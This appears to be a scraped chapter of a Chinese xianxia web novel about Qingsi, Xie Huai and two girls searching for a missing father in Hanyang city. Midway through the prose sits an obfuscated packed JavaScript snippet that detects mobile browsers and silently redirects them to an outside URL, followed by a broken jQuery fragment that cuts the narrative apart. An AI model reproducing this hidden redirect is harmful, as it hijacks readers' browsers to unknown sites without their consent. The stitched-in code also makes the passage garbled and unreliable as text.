“怎么回事,你们怎么又回来了?”
“我不是跟你们说了我要再回来了吗?”
“不知道连云派一直在找你们吗?”
“一个千金小姐,一个练气期的小妖怪,你们打的过谁?”
“今天要是我不在,你们怎么办?”
“说话!”
一连跑过数道转角,青姒这才敢停身回头,看向身后一路低头不语的两位妙龄少女,语气责怪中又带有不可忽视的关切。
谢淮从未在青姒见过发脾气,记忆中的青姒虽有些娇贵自傲但性子是极好的,虽不至于说平易近人,但从未与人有过争执,更不会说像今日这般疾言厉色。
眼前的青姒,眉宇间带着焦急与怒意,那双平日里总是沉静的眸子此刻却如涛涛波浪,翻云覆雨间皆是滔天的怒火。
谢淮很是震惊,不由得看向青姒,察觉到视线的青姒不分黑白的甩给谢淮一个眼刀,他竟也诡异的垂眸同挨训的两名少女一同沉默。
庄时音低着头,双手紧紧绞着衣角,声音细若蚊蚋:“阿姒姐姐,我们……我们在朔方城听到阿父把宅子卖了,担心阿父出了事,这才回来的。”
“是我提议回来的,阿姒,不关音音的......”
“现在是揽罪的时候吗?为什么回来了不走,那宅子早就卖了!”
说完,青姒又低头看向谢淮,平缓语气后问道:“你什么时候买的?”
“五年前。”
“听见没有,五年前就卖了!”
为防青姒再度察觉,谢淮低头偷偷瞄了瞄抱胸怒吼的青姒,像是一汪深不见底的静潭,平日看去只会觉得深沉无比,令人生畏,可有一天,有人突然投了石子打破了静潭沉静的表面,这时才忽然发现,原来这静潭透亮无比,水草盎然,小鱼活跃,鲜艳而又充满活力。
“阿姒,是这样的,你听我说,你先别着急。”
金鲤是这么样说的:
几年前承青姒成全,她与庄时音逃出了汉阳城,庄时音虽不是修士,但为了能和金鲤更长久的在一起,这些年在游览各地时,也拜了不少修行的师傅。
去年,听闻朔方雪景犹美,金鲤便带着庄时音向北洲而去,两人运气不错,在朔方城还遇见了一个麻雀妖,为人乐善好施,城中一般都叫她十福夫人,十福夫人见庄时音还算有些修仙的天赋,便多留了她们几日,助庄时音筑基。
一来一往中,三人也渐渐熟悉,十福夫人偶尔会念叨起她的知心好友,听说是个嫁到南方的磷蝶,庄时音受其感染,对其父的思念愈发深重,十福夫人担心庄时音心神不定,不利于筑基,便主动替庄时音打听起了她父亲的消息。
十福夫人一番打探下来,却打听到庄时音的父亲早几年就把祖宅卖掉,不知所踪了,十福夫人左思右想,决定还是先告诉庄时音这个消息,庄时音一听,哪里还顾得上筑基,匆忙就和金鲤一路南下回了汉阳城。
两人到汉阳城后,一番细细打探后,发现竟无半点庄时音阿父的消息,秋揽阁向来是汉阳城最大的茶楼,消息最为灵通,无奈之下,两人决定先自秋揽阁待几日打探一番消息,多年来的奔波,两人盘缠早就所剩无几,可秋揽阁的东西不是轻易能买的起的。
庄时音擅弹琵琶,进秋揽阁当了琴师,金鲤因长相可爱又机灵,阁主特意允她在阁楼门前边揽客边卖花,直至今日,她们已在汉阳城待了近半旬,只是不知为何,连云派为何会发现自己。
“那打听到了吗?”青姒叹了口气,悠悠说道。
“没有,阿姒姐姐,我父亲丢了,这怎么办啊。”谈及自己不见踪影的父亲,庄时音一时也顾不得青姒是否还在生气,贴上去就开始摇着青姒袖子,几句下来已是泪积眼眶,哭音微显。
“你当初买宅子,谁与你一起办的地契?”青姒问道
“是位老者,瘦但驼背,不过精神不错。”时间有些久远,谢淮一时也想不起具体的情绪,只依稀记得一个身着丝绸制衣的身影。
“那不是我父亲,我父亲有些修为,容貌才至中年,稍胖些,公子可曾见过?”
“......不曾,那宅子是那位老者的应是没错,这位姑娘,或许你父亲在某之前就已经把宅子卖掉了。”
“这如何可能!阿姒姐姐,我父亲不会卖祖宅的。”
“别急,时音,别急。”青姒一时不察,被庄时音晃的有些晕眩,连忙伸手按住庄时音在臂膀上作乱的双手细细思索到。
依她对那庄老爷的了解,是个把祖宗之法看的比命还重的人,随意卖祖宅的几率确实是小,可谢淮也的确没必要在这事上骗自己。
卖掉的宅子,消失的庄老爷,朔方城的那个麻雀妖说的真的可信吗?是不是庄时音和金鲤被骗了?另外,金鲤修为虽不高但躲藏隐匿气息的本事一绝,这点青姒是领教过的,那是谁向连云派传了消息?
还有汉阳城的磷蝶夫人,对了!曲磷香!
这边,青姒刚要开口,却似被谢淮读了心一般,抢先说道:“我听闻这位姑娘说,你们已在汉阳城待了半月,不知可否听到了磷蝶夫人曲磷香的消息?”
“......听是听到过,说是和一个妖王打起来了。”金鲤与庄时音对视一眼后,先说道。
“但是茶楼的那位说书先生与我说,是他受那妖王所托杜撰的。”庄时音随后说道。
“那两位在朔方城,可是有听到磷蝶夫人的消息?听闻十福夫人好事将近,磷蝶夫人想必应该要去拜访一番。”
“不可能。”金鲤斩钉截铁的回答道。
“为何?”
“十福夫人如今的丈夫,磷蝶夫人很是不喜,为这事,两人甚至还闹过一次,十福夫人这次的喜事是偷偷办的,连朔方城的请帖都没发全。”背地议论非君子所为,庄时音抽泣着不由得低声说道。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280414|166805||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“是的,是的。”
“师妹,我们被骗了,或许她们两个都不是真的。”谢淮抬头,脸色沉重的看向青姒。
青姒闻言舔了舔干裂的嘴唇沉默不语,她的精血在流失,金丝在吸食她的精血用来抵抗扩散的青鳞,她抬头望向天空,光晕一圈圈的向外扩散,直晃的人眼前阵阵发黑,烈阳高照,许久的重伤和奔波让青姒觉得她可能有些吃不消,在控制不住的踉跄几步挣扎过后,还是眼一闭晕了过去,扑进了谢淮怀中。
谢淮下意识揽住青姬下坠的身躯,指尖触到后腰处的衣衫已被血痂黏连,他这才注意到青姒干裂的唇角,脖颈处隐约浮动着蛛网般的金纹,那些细密纹路正沿着经络缓缓向心口攀爬。
“金丝在吸她的精血,她何时受的伤?!”他瞳孔骤缩,抬眼望向身前的庄时音,眼神锐利又夹杂着怒气,青姒昨日还好好的,救金鲤时自己亦在身旁,那青姒唯一有可能受伤的时间便只剩下青姒折回茶楼救庄时音的那段时间了。
怀中人轻得仿佛一片落叶,全然不似平日那个张扬肆意的模样,谢淮控制不住的紧紧抱住青姒,像守护一枚不容有失的珍宝。
“我不知道......”庄时音颤抖着伸手想要触碰青姒颈间的金纹,却被谢淮侧身避开。
少年催动灵力凭空画下一道符咒,符咒直奔青姒后背而去,却不料在触及青姒背脊时被骤然弹开——层层叠叠的青色鳞片正在她皮肤下若隐若现,与金纹交织成诡异的图腾。
青磷在阻碍青姒吸收灵力,谢淮将青姒打横抱起,怀中人滚烫的体温灼得他喉头发紧,他催动拇指间的墨玉扳指,待双腿有力后快速疾步掠向巷尾,于婆娑树影间直奔住宅而去。
“阿姒姐姐,公子!”谢淮去的急,抱起昏迷的青姒飞身而去,半分眼神都未给予给金鲤与庄时音。
“音音,我们快追,拿着那轮椅,他们应该是去了祖宅。”
庄时音闻言疾步上前,快步上前攥紧轮椅扶手,任金鲤广袖当风于半空中骤然凝出一帘银瀑倾泻而下。
金鲤揽住庄时音于水幕中裹挟着轮椅转瞬消弭无形,唯有青砖缝隙间蜿蜒的水痕,在小巷中里泛着泠泠微光。
而在一墙之隔的江家府邸一条雕花走廊内,一名高胖的中年男人快步在前匆忙引路,中途还不忘对身后的粉衣少女赔笑道。
“小修士,老夫本不不该肆意拦你在城门,只是家中小女实在是另老夫担心。”
“无事,既有妖邪,我辈自该挺身。”少女回道,虽面带笑意,但心中却是止不住的着急,双手垂于身后,身后的衣服已被搓出层层褶皱。
“既如此,那就多谢小修士了。”
“老夫听闻小修士在静虚派那是鼎鼎有名,便是放眼四洲也是有名号的,当真是年少有为啊。”
“不知老夫可否有幸得知小修修士名讳?”
“我叫宋听禾,您不用这么紧张的。”